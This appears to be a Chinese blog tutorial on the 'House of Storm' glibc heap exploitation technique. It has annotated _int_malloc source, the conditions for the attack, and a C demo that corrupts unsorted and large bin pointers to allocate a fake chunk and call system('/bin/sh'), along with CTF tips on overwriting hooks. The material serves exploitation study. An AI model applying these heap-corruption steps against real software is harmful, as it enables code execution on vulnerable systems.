原理介绍
House Of Storm 结合了 unsortedbin attack 和 Largebin attack 的攻击技术,其基本原理和 Largebin attack 类似,可以达到任意地址写的效果,感觉就是在原有的unsorted bin attack的过程加上了一个large bin attack攻击去修改size使得 unsorted bin 可以成功返回
利用条件
1.glibc版本小于2.30,因为2.30之后加入了检查,unsorted bin attack无法使用
2.需要攻击者在largebin和unsorted_bin中分别布置一个chunk 这两个chunk需要在归位之后处于同一个largebin的index中,且unsortedbin中的chunk要比largebin中的大
3.需要unsorted_bin中的bk指针可控
4.需要largebin中的bk指针和bk_nextsize指针可控
源码分析
这里引用了Rookle师傅对于源码的注释
//#define unsorted_chunks(M) (bin_at (M, 1))
//如果unsorted bins不为空,从尾到头遍历unsorted bin中的每个chunk
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av))
{
bck = victim->bk;//取出unsorted的尾部的chunk
/*
检查当前遍历的 chunk 是否合法,chunk 的大小不能小于等于 2 * SIZE_SZ,
也不能超过 该分配区总的内存分配量。然后获取 chunk 的大小并赋值给 size。
这里的检查似乎有点小问题,直接使用了 victim->size,但 victim->size
中包含了相关的标志位信息,使用 chunksize(victim) 才比较合理,但在
unsorted bin 中的空闲 chunk 的所有标志位都清零了,所以这里直接
victim->size 没有问题。
*/
if (__builtin_expect(victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect(victim->size > av->system_mem, 0))
malloc_printerr(check_action, "malloc(): memory corruption",
chunk2mem(victim), av);
size = chunksize(victim);//获取victim的size
/*
如果要申请的大小在smallbin范围 且 unsorted chunks 只有一个chunk,且
victim是last_remainder 且 victim的size大于请求的chunk的大小nb加上
(MINSIZE)最小chunk的size,那么就切割remainder,然后返回victim。
last_remainder 是一个 chunk 指针,分配区上次分配 small chunk 时,
从一个 chunk 中分 裂出一个 small chunk 返回给用户,分裂后的剩余部分
形成一个 chunk,last_remainder 就是 指向的这个 chunk。
*/
if (in_smallbin_range(nb) &&
bck == unsorted_chunks(av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
//分割remainder
remainder_size = size - nb;//计算分割后剩下的size
remainder = chunk_at_offset(victim, nb);//获取remainder的地址
//把remainder加入unsorted bin中
unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;
av->last_remainder = remainder; // 设置last_remainder为remainder
remainder->bk = remainder->fd = unsorted_chunks(av);
//如果是remainder在large bin的范围,则把fd_nextsize,fd_nextsize清零
if (!in_smallbin_range(remainder_size)) {
remainder->fd_nextsize = NULL;
remainder->fd_nextsize = NULL;
}
//设置victim的size
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
//设置remainder的size
set_head(remainder, remainder_size | PREV_INUSE);
//设置remainder的物理相邻的下一个chunk的prev_size
set_foot(remainder, remainder_size);
check_malloced_chunk(av, victim, nb);//默认不做任何操作
void *p = chunk2mem(victim);//将chunk指针转化为mem指针
alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做
return p;
}
//把victim从unsorted bin 中移除
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
//如果 victim 的size 与申请的size相等,那么就返回其。
if (size == nb) {
//设置victim物理相邻的下一个chunk的prev_inuse位
set_inuse_bit_at_offset(victim, size);
//如果av不是main_arena 也就是说如果不是主进程,设置NON_MAIN_ARENA位
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb); // 默认不做任何操作
void *p = chunk2mem(victim);//把chunk转换为mem指针
alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做
return p;
}
//如果上一步取出的chunk没有匹配成功,那么将该chunk放入对应的bin中
//如果在smallbin的范围,则放到对应多small bin中
if (in_smallbin_range(size))
{
victim_index = smallbin_index(size);//获取size对应的smallbin的index
bck = bin_at(av, victim_index);//bck指向size对应的smallbin的链表头
//fwd指向size对应的smallbin的链表中的新加入的chunk(small bin使用头插法)
fwd = bck->fd;
}
else//如果不再smallbin的范围,也就是说在large bin 的范围
{
victim_index = largebin_index(size);//获取size对应的large bin的index
bck = bin_at(av, victim_index);//bck指向size对应的large bin的链表头
fwd = bck->fd;//fwd指向size对应的large bin的链表中的新加入的chunk
//如果large bin 非空,在largbin进行按顺序插入
if (fwd != bck) {
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
assert((bck->bk->size & NON_MAIN_ARENA) == 0);//默认不启用assert
/*
large bin中的chunk是按从大到小排列的,如果size < large bin
的最后一个chunk,说明size是这个large bin中的最小的,我们把它
加入到此large bin尾部。
*/
if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) {
fwd = bck;
bck = bck->bk;
/*
large bin 中size最小的chunk的fd_nextsize会指向size最大的
那个chunk,也就是首部的chunk。同样,large bin 中size最大的
chunk的bk_nextsize会指向size最小的那个chunk。
victim的bk_nextsize指向large bin原来最小的chunk,它的
bk_nextsize指向最大的那个chunk。那么原来的最小的就成了第二小的了。
把它fd_nextsize和bk_nextsize都修正。
*/
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
//最大size的chunk的bk_nextsize,和原来最小chunk的bk_nextsize都指向victim
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else //如果victim不是large bin 中最小的chunk
{
assert((fwd->size & NON_MAIN_ARENA) == 0);//默认不启用assert
//从大到小(从头到尾)找到合适的位置
while ((unsigned long) size < fwd->size) {
fwd = fwd->fd_nextsize;
assert((fwd->size & NON_MAIN_ARENA) == 0);
}
//如果size刚好相等,就直接加入到其后面省的改fd_nextsize和bk_nextsize了
if ((unsigned long) size == (unsigned long) fwd->size)
fwd = fwd->fd;
else
{
//size不相等,即size>fwd->size,把victim加入到纵向链表中
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else //如果large bin 为空,将victim加入到纵向列表
victim->fd_nextsize = victim->bk_nextsize = victim;
}
//#define mark_bin(m, i) ((m)->binmap[idx2block (i)] |= idx2bit (i))
mark_bin(av, victim_index); //把victim加入到的bin的表示为非空
//把victim加入到large bin的链表中
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
}
在unsorted bin中的chunk脱链,然后链接到large bin的过程中,可以同时进行这两种攻击。为之,所以我们需要在large bin中布置一个chunk,并且在unsorted bin中布置一个size稍大于largebin的chunk,使其能够链接在large bin中chunk的后面。
house of storm中,unsorted bin attack主要用到的是unsorted_chunks(av) → bk同时也被赋值为了fake(只是一个记号)。在下次申请chunk,使其进入unsorted bin的分支时,也就是利用unsorted bin attack后,bk会指向target_addr,victim = unsorted_chunks(av) → bk(即fake),紧接着会有一个分支检查其size是否满足申请。只要满足了,则会直接分配fake处为chunk返回。
我们已经知道largebin attack是向任意地址赋值堆地址。在64字长的系统中,地址寻址为8字节,但堆地址只占5个字节,而特别的是仅已0x55或0x56开头。那么只要我们通过largebin attack向fake + 0x3处,赋值一个堆地址,则以fake为chunk的size处为0x55或者0x56。这样,就成功的修改了size
用图简单表示的话
导致crash的原因:
在通过调试demo的时候我们发现有的时候是可以通过的,有的时候是不行的,通过调试发现,无法通过的时候是因为fake_chunk的size为0x55 只有为0x56的时候可以通过 对应的源码在_int_malloc返回到_libc_malloc
/*
#define arena_for_chunk(ptr) \
(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
过以下检测需要满足的要求,只需满足一条即可
1. victim 为 0
2. IS_MMAPPED 为 1
3. NON_MAIN_ARENA 为 0
*/
assert(!victim || chunk_is_mmapped(mem2chunk(victim))
|| ar_ptr == arena_for_chunk(mem2chunk(victim)));
0x56:0101 0110,满足第二个。
0x55:0101 0101,不满足,会报错。
源码调试demo
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
struct {
unsigned long presize;
unsigned long size;
unsigned long fd;
unsigned long bk;
unsigned long fd_nextsize;
unsigned long bk_nextsize;
}chunk;
int main()
{
unsigned long *large_chunk,*unsorted_chunk;
unsigned long *fake_chunk = (unsigned long *)&chunk;
char *ptr;
unsorted_chunk=malloc(0x418);
malloc(0X20);
large_chunk=malloc(0x408);
malloc(0x20);
free(large_chunk);
free(unsorted_chunk);
unsorted_chunk=malloc(0x418);
free(unsorted_chunk);
unsorted_chunk[1] = (unsigned long )fake_chunk;
large_chunk[1] = (unsigned long )fake_chunk+8;
large_chunk[3] = (unsigned long )fake_chunk-0x18-5;
ptr=malloc(0x48);
strncpy(ptr, "/bin/sh\x00", 0x10);
system(((char *)fake_chunk + 0x10));
return 0;
}
布局unsorted bin和large bin
unsorted_chunk=malloc(0x418);
malloc(0X20);
large_chunk=malloc(0x408);
malloc(0x20);
free(large_chunk);
free(unsorted_chunk);
unsorted_chunk=malloc(0x418);
free(unsorted_chunk);
unsorted_chunk[1] = (unsigned long )fake_chunk;
large_chunk[1] = (unsigned long )fake_chunk+8;
large_chunk[3] = (unsigned long )fake_chunk-0x18-5;
修改使满足attack的条件
malloc(0x20);
接下来这一步就是关键,既然触发了unsorted bin attack也触发了large bin attack
我们通过调试_int_malloc
发现程序执行下面这段,也就是unsorted bin attack攻击的位置
while` `((victim ``=` `unsorted_chunks (av)``-``>bk) !``=` `unsorted_chunks (av)) ``/``/``从unsortbin第一个chunk(队尾)开始顺着bk指针向前遍历
``{
``bck ``=` `victim``-``>bk; ``/``/``bck是倒数第二个,victim是倒数第一个
``/``/``size check
``if` `(__builtin_expect (victim``-``>size <``=` `2` `*` `SIZE_SZ, ``0``)
``|| __builtin_expect (victim``-``>size > av``-``>system_mem, ``0``))
``malloc_printerr (check_action, ``"malloc(): memory corruption"``,
``chunk2mem (victim), av);
``size ``=` `chunksize (victim); ``/``/``取出最victim的size
``/``*
``If a small request, ``try` `to use last remainder ``if` `it ``is` `the
``only chunk ``in` `unsorted ``bin``. This helps promote locality ``for
``runs of consecutive small requests. This ``is` `the only
``exception to best``-``fit, ``and` `applies only when there ``is
``no exact fit ``for` `a small chunk.
``*``/
``/``/``last remainder first
然后在执行到large bin attack的位置
if ((unsigned long) size == (unsigned long) fwd->size)
/ *Always
insert in the
second
position. * /
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin(av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
再执行完large bin attack后,可以看fake chunk
接下来继续走看那个检测,这里是0x55按理是过不了检测的
如果是0x56就可以过check了
注意事项
一般我们触发攻击的attack是 add(0x48),这里是因为fake_chunk的size是0x56或者0x55被视为是在0x50的范围,而如果是0x48的话就可以取出堆块,我们一般的攻击思路是覆盖hook函数挂上ogg,但是有没有想过如果不是0x48而是0x47或者0x45呢也是可以取出堆块的因为会被视为0x50,但是在attack也就是覆盖地址上会出现问题这里用一道题目的最后部分进行演示
这是add(0x45)的情况
少了两字节
这是add(0x46)的情况
少了一字节
所以我们add(0x48)和add(0x47)都是可以的
参考文章:
堆Pwn:House Of Storm利用手法 - tolele - 博客园 (cnblogs.com)
没有评论